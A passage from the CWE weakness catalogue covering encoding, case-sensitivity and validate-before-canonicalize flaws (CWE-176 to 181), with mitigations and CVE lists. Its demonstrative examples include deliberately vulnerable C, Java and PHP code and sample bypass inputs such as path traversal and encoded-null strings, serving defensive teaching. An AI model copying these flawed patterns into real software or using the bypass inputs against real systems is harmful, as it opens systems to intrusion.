Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	992	SFP Secondary Cluster: Faulty Input Transformation	888	1956

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Mixed Encoding

CWE-176: Improper Handling of Unicode Encoding

Weakness ID : 176 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software does not properly handle when an input contains Unicode encoding.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	172	Encoding Error	399

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations

Phase: Architecture and Design

Strategy = Input Validation

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended

validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Demonstrative Examples

Example 1:

Windows provides the MultiByteToWideChar(), WideCharToMultiByte(), UnicodeToBytes(), and BytesToUnicode() functions to convert between arbitrary multibyte (usually ANSI) character strings and Unicode (wide character) strings. The size arguments to these functions are specified in different units, (one in bytes, the other in characters) making their use prone to error.

In a multibyte character string, each character occupies a varying number of bytes, and therefore the size of such strings is most easily specified as a total number of bytes. In Unicode, however, characters are always a fixed size, and string lengths are typically given by the number of characters they contain. Mistakenly specifying the wrong units in a size argument can lead to a buffer overflow.

The following function takes a username specified as a multibyte string and a pointer to a structure for user information and populates the structure with information about the specified user. Since Windows authentication uses Unicode for usernames, the username argument is first converted from a multibyte string to a Unicode string.

Example Language: C *(bad)*

```
void getUserInfo(char *username, struct _USER_INFO_2 info){
  WCHAR unicodeUser[UNLEN+1];
  MultiByteToWideChar(CP_ACP, 0, username, -1, unicodeUser, sizeof(unicodeUser));
  NetUserGetInfo(NULL, unicodeUser, 2, (LPBYTE *)&info);
}
```

This function incorrectly passes the size of unicodeUser in bytes instead of characters. The call to MultiByteToWideChar() can therefore write up to (UNLEN+1)*sizeof(WCHAR) wide characters, or (UNLEN+1)*sizeof(WCHAR)*sizeof(WCHAR) bytes, to the unicodeUser array, which has only (UNLEN+1)*sizeof(WCHAR) bytes allocated.

If the username string contains more than UNLEN characters, the call to MultiByteToWideChar() will overflow the buffer unicodeUser.

Observed Examples

Reference	Description
CVE-2000-0884	Server allows remote attackers to read documents outside of the web root, and possibly execute arbitrary commands, via malformed URLs that contain Unicode encoded characters. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0884*
CVE-2001-0709	Server allows a remote attacker to obtain source code of ASP files via a URL encoded with Unicode. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0709*
CVE-2001-0669	Overlaps interaction error. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0669*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	747	CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)	734	1891
MemberOf	C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	1921
MemberOf	C	992	SFP Secondary Cluster: Faulty Input Transformation	888	1956

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unicode Encoding
CERT C Secure Coding	MSC10-C		Character Encoding - UTF8 Related Issues

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
71	Using Unicode Encoding to Bypass Validation Logic

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-177: Improper Handling of URL Encoding (Hex Encoding)

Weakness ID : 177 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software does not properly handle when all or part of an input has been URL encoded.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	172	Encoding Error	399

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations

Phase: Architecture and Design

Strategy = Input Validation

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2000-0900	Hex-encoded path traversal variants - "%2e%2e", "%2e%2e%2f", "%5c%2e%2e" *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0900*
CVE-2005-2256	Hex-encoded path traversal variants - "%2e%2e", "%2e%2e%2f", "%5c%2e%2e" *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2256*
CVE-2004-2121	Hex-encoded path traversal variants - "%2e%2e", "%2e%2e%2f", "%5c%2e%2e" *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2121*
CVE-2004-0280	"%20" (encoded space) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0280*
CVE-2003-0424	"%20" (encoded space) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0424*
CVE-2001-0693	"%20" (encoded space) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0693*
CVE-2001-0778	"%20" (encoded space) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0778*
CVE-2002-1831	Crash via hex-encoded space "%20". *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1831*
CVE-2000-0671	"%00" (encoded null) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0671*
CVE-2004-0189	"%00" (encoded null) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0189*
CVE-2002-1291	"%00" (encoded null) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1291*
CVE-2002-1031	"%00" (encoded null) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1031*

Reference	Description
CVE-2001-1140	"%00" (encoded null) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1140*
CVE-2004-0760	"%00" (encoded null) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0760*
CVE-2002-1025	"%00" (encoded null) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1025*
CVE-2002-1213	"%2f" (encoded slash) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1213*
CVE-2004-0072	"%5c" (encoded backslash) and "%2e" (encoded dot) sequences *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0072*
CVE-2004-0847	"%5c" (encoded backslash) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0847*
CVE-2002-1575	"%0a" (overlaps CRLF) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1575*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	992	SFP Secondary Cluster: Faulty Input Transformation	888	1956

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			URL Encoding (Hex Encoding)

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic
72	URL Encoding
120	Double Encoding
468	Generic Cross-Browser Cross-Domain Theft

CWE-178: Improper Handling of Case Sensitivity

Weakness ID : 178 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results.

Extended Description

Improperly handled case sensitive data can lead to several possible consequences, including:

- case-insensitive passwords reducing the size of the key space, making brute force attacks easier
- bypassing filters or access controls using alternate names
- multiple interpretation errors using alternate names.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	706	Use of Incorrectly-Resolved Name or Reference	1360
PeerOf	B	1289	Improper Validation of Unsafe Equivalence in Input	1847
CanPrecede	V	289	Authentication Bypass by Alternate Name	638
CanPrecede	V	433	Unparsed Raw Web Content Delivery	933

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	706	Use of Incorrectly-Resolved Name or Reference	1360

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	19	Data Processing Errors	1849

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Architecture and Design

Strategy = Input Validation

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same

input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Demonstrative Examples

Example 1:

In the following example, an XSS neutralization method replaces script tags in user supplied input with a safe equivalent:

Example Language: Java *(bad)*

```
public String preventXSS(String input, String mask) {
    return input.replaceAll("script", mask);
}
```

The code only works when the "script" tag is in all lower-case, forming an incomplete denylist (CWE-184). Equivalent tags such as "SCRIPT" or "ScRiPt" will not be neutralized by this method, allowing an XSS attack.

Observed Examples

Reference	Description
CVE-2000-0499	Application server allows attackers to bypass execution of a jsp page and read the source code using an upper case JSP extension in the request. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0499*
CVE-2000-0497	The server is case sensitive, so filetype handlers treat .jsp and .JSP as different extensions. JSP source code may be read because .JSP defaults to the filetype "text". *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0497*
CVE-2000-0498	The server is case sensitive, so filetype handlers treat .jsp and .JSP as different extensions. JSP source code may be read because .JSP defaults to the filetype "text". *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0498*
CVE-2001-0766	A URL that contains some characters whose case is not matched by the server's filters may bypass access restrictions because the case-insensitive file system will then handle the request after it bypasses the case sensitive filter. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0766*
CVE-2001-0795	Server allows remote attackers to obtain source code of CGI scripts via URLs that contain MS-DOS conventions such as (1) upper case letters or (2) 8.3 file names. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0795*
CVE-2001-1238	Task Manager does not allow local users to end processes with uppercase letters named (1) winlogon.exe, (2) csrss.exe, (3) smss.exe and (4) services.exe via the Process tab which could allow local users to install Trojan horses that cannot be stopped. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1238*
CVE-2003-0411	chain: Code was ported from a case-sensitive Unix platform to a case-insensitive Windows platform where filetype handlers treat .jsp and .JSP as different extensions. JSP source code may be read because .JSP defaults to the filetype "text". *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0411*
CVE-2002-0485	Leads to interpretation error *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0485*
CVE-1999-0239	Directories may be listed because lower case web requests are not properly handled by the server. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0239*

Reference	Description
CVE-2005-0269	File extension check in forum software only verifies extensions that contain all lowercase letters, which allows remote attackers to upload arbitrary files via file extensions that include uppercase letters. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0269*
CVE-2004-1083	Web server restricts access to files in a case sensitive manner, but the filesystem accesses files in a case insensitive manner, which allows remote attackers to read privileged files using alternate capitalization. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1083*
CVE-2002-2119	Case insensitive passwords lead to search space reduction. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2119*
CVE-2004-2214	HTTP server allows bypass of access restrictions using URIs with mixed case. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2214*
CVE-2004-2154	Mixed upper/lowercase allows bypass of ACLs. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2154*
CVE-2005-4509	Bypass malicious script detection by using tokens that aren't case sensitive. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4509*
CVE-2002-1820	Mixed case problem allows "admin" to have "Admin" rights (alternate name property). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1820*
CVE-2007-3365	Chain: uppercase file extensions causes web server to return script source code instead of executing the script. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3365*

Functional Areas

- File Processing

Affected Resources

- File or Directory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	992	SFP Secondary Cluster: Faulty Input Transformation	888	1956

Notes

Research Gap

These are probably under-studied in Windows and Mac environments, where file names are case-insensitive and thus are subject to equivalence manipulations involving case.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Case Sensitivity (lowercase, uppercase, mixed case)

CWE-179: Incorrect Behavior Order: Early Validation

Weakness ID : 179 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software validates input before applying protection mechanisms that modify the input, which could allow an attacker to bypass the validation via dangerous inputs that only arise after the modification.

Extended Description

Software needs to validate data at the proper time, after data has been canonicalized and cleansed. Early validation is susceptible to various manipulations that result in dangerous inputs that are produced by canonicalization and cleansing.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	20	Improper Input Validation	19
ChildOf	C	696	Incorrect Behavior Order	1348
ParentOf	V	180	Incorrect Behavior Order: Validate Before Canonicalize	417
ParentOf	V	181	Incorrect Behavior Order: Validate Before Filter	420

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1215	Data Validation Issues	2015
MemberOf	C	438	Behavioral Problems	1867

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control Integrity	Bypass Protection Mechanism Execute Unauthorized Code or Commands *An attacker could include dangerous input that bypasses validation protection mechanisms which can be used to launch various attacks including injection attacks, execute arbitrary code or cause other unintended behavior.*	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Demonstrative Examples

Example 1:

The following code attempts to validate a given input path by checking it against an allowlist and then return the canonical path. In this specific case, the path is considered valid if it starts with the string "/safe_dir/".

Example Language: Java *(bad)*

```
String path = getInputPath();
if (path.startsWith("/safe_dir/"))
{
    File f = new File(path);
    return f.getCanonicalPath();
}
```

The problem with the above code is that the validation step occurs before canonicalization occurs. An attacker could provide an input path of "/safe_dir/../" that would pass the validation step. However, the canonicalization process sees the double dot as a traversal to the parent directory and hence when canonicized the path would become just "/".

To avoid this problem, validation should occur after canonicalization takes place. In this case canonicalization occurs during the initialization of the File object. The code below fixes the issue.

Example Language: Java *(good)*

```
String path = getInputPath();
File f = new File(path);
if (f.getCanonicalPath().startsWith("/safe_dir/"))
{
    return f.getCanonicalPath();
}
```

Example 2:

This script creates a subdirectory within a user directory and sets the user as the owner.

Example Language: PHP *(bad)*

```
function createDir($userName,$dirName){
    $userDir = '/users/'. $userName;
    if(strpos($dirName,'..') !== false){
        echo 'Directory name contains invalid sequence';
        return;
    }
    //filter out '~' because other scripts identify user directories by this prefix
    $dirName = str_replace('~','',$dirName);
    $newDir = $userDir . $dirName;
    mkdir($newDir, 0700);
    chown($newDir,$userName);
}
```

While the script attempts to screen for '..' sequences, an attacker can submit a directory path including ".~.", which will then become ".." after the filtering step. This allows a Path Traversal (CWE-21) attack to occur.

Observed Examples

Reference	Description
CVE-2002-0433	Product allows remote attackers to view restricted files via an HTTP request containing a "*" (wildcard or asterisk) character. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0433*
CVE-2003-0332	Product modifies the first two letters of a filename extension after performing a security check, which allows remote attackers to bypass authentication via a filename with a .ats extension instead of a .hts extension. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0332*
CVE-2002-0802	Database consumes an extra character when processing a character that cannot be converted, which could remove an escape character from the query and make the application subject to SQL injection attacks. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0802*

Reference	Description
CVE-2000-0191	Overlaps "fakechild/../realchild" *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0191*
CVE-2004-2363	Product checks URI for "<" and other literal characters, but does it before hex decoding the URI, so "%3E" and other sequences are allowed. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2363*
CVE-2002-0934	Directory traversal vulnerability allows remote attackers to read or modify arbitrary files via invalid characters between two . (dot) characters, which are filtered and result in a ".." sequence. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0934*
CVE-2003-0282	Directory traversal vulnerability allows attackers to overwrite arbitrary files via invalid characters between two . (dot) characters, which are filtered and result in a ".." sequence. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0282*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	1874
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	992	SFP Secondary Cluster: Faulty Input Transformation	888	1956

Notes

Research Gap

These errors are mostly reported in path traversal vulnerabilities, but the concept applies whenever validation occurs.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Early Validation Errors

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters
43	Exploiting Multiple Input Interpretation Layers
71	Using Unicode Encoding to Bypass Validation Logic

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-180: Incorrect Behavior Order: Validate Before Canonicalize

Weakness ID : 180 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software validates input before it is canonicalized, which prevents the software from detecting data that becomes invalid after the canonicalization step.

Extended Description

This can be used by an attacker to bypass the validation and launch attacks that expose weaknesses that would otherwise be prevented, such as injection.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	179	Incorrect Behavior Order: Early Validation	414

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Demonstrative Examples

Example 1:

The following code attempts to validate a given input path by checking it against an allowlist and then return the canonical path. In this specific case, the path is considered valid if it starts with the string "/safe_dir/".

Example Language: Java *(bad)*

```
String path = getInputPath();
if (path.startsWith("/safe_dir/"))
{
    File f = new File(path);
    return f.getCanonicalPath();
}
```

The problem with the above code is that the validation step occurs before canonicalization occurs. An attacker could provide an input path of "/safe_dir/../" that would pass the validation step. However, the canonicalization process sees the double dot as a traversal to the parent directory and hence when canonicized the path would become just "/".

To avoid this problem, validation should occur after canonicalization takes place. In this case canonicalization occurs during the initialization of the File object. The code below fixes the issue.

Example Language: Java *(good)*

```
String path = getInputPath();
File f = new File(path);
if (f.getCanonicalPath().startsWith("/safe_dir/"))
{
    return f.getCanonicalPath();
```

```
}
```

Observed Examples

Reference	Description
CVE-2002-0433	Product allows remote attackers to view restricted files via an HTTP request containing a "*" (wildcard or asterisk) character. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0433*
CVE-2003-0332	Product modifies the first two letters of a filename extension after performing a security check, which allows remote attackers to bypass authentication via a filename with a .ats extension instead of a .hts extension. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0332*
CVE-2002-0802	Database consumes an extra character when processing a character that cannot be converted, which could remove an escape character from the query and make the application subject to SQL injection attacks. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0802*
CVE-2000-0191	Overlaps "fakechild/../realchild" *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0191*
CVE-2004-2363	Product checks URI for "<" and other literal characters, but does it before hex decoding the URI, so "%3E" and other sequences are allowed. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2363*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	1874
MemberOf	C	845	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)	844	1902
MemberOf	C	992	SFP Secondary Cluster: Faulty Input Transformation	888	1956
MemberOf	C	1134	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)	1133	1983
MemberOf	C	1147	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)	1133	1990

Notes

Relationship

This overlaps other categories.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Validate-Before-Canonicalize
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
The CERT Oracle Secure Coding Standard for Java (2011)	IDS01-J	Exact	Normalize strings before validating them
SEI CERT Oracle Coding Standard for Java	IDS01-J	Exact	Normalize strings before validating them

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters
71	Using Unicode Encoding to Bypass Validation Logic
78	Using Escaped Slashes in Alternate Encoding
79	Using Slashes in Alternate Encoding
80	Using UTF-8 Encoding to Bypass Validation Logic
267	Leverage Alternate Encoding

CWE-181: Incorrect Behavior Order: Validate Before Filter

Weakness ID : 181 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software validates data before it has been filtered, which prevents the software from detecting data that becomes invalid after the filtering step.

Extended Description

This can be used by an attacker to bypass the validation and launch attacks that expose weaknesses that would otherwise be prevented, such as injection.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	179	Incorrect Behavior Order: Early Validation	414

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Alternate Terms

Validate-before-cleanse :

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Implementation

Phase: Architecture and Design

Inputs should be decoded and canonicalized to the application's current internal representation before being filtered.

Demonstrative Examples

Example 1:

This script creates a subdirectory within a user directory and sets the user as the owner.

Example Language: PHP *(bad)*

```
function createDir($userName,$dirName){
    $userDir = '/users/'. $userName;
    if(strpos($dirName,'..') !== false){
        echo 'Directory name contains invalid sequence';
        return;
    }
    //filter out '~' because other scripts identify user directories by this prefix
    $dirName = str_replace('~','',$dirName);
    $newDir = $userDir . $dirName;
    mkdir($newDir, 0700);
    chown($newDir,$userName);
}
```

While the script attempts to screen for '..' sequences, an attacker can submit a directory path including ".~.", which will then become ".." after the filtering step. This allows a Path Traversal (CWE-21) attack to occur.

Observed Examples

Reference	Description
CVE-2002-0934	Directory traversal vulnerability allows remote attackers to read or modify arbitrary files via invalid characters between two . (dot) characters, which are filtered and result in a ".." sequence. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0934*
CVE-2003-0282	Directory traversal vulnerability allows attackers to overwrite arbitrary files via invalid characters between two . (dot) characters, which are filtered and result in a ".." sequence. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0282*

Functional Areas

- Protection Mechanism

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	1874
MemberOf	C	992	SFP Secondary Cluster: Faulty Input Transformation	888	1956

Notes

Research Gap

This category is probably under-studied.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Validate-Before-Filter
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters
43	Exploiting Multiple Input Interpretation Layers
78	Using Escaped Slashes in Alternate Encoding
79	Using Slashes in Alternate Encoding
80	Using UTF-8 Encoding to Bypass Validation Logic

CAPEC-ID	Attack Pattern Name
120	Double Encoding
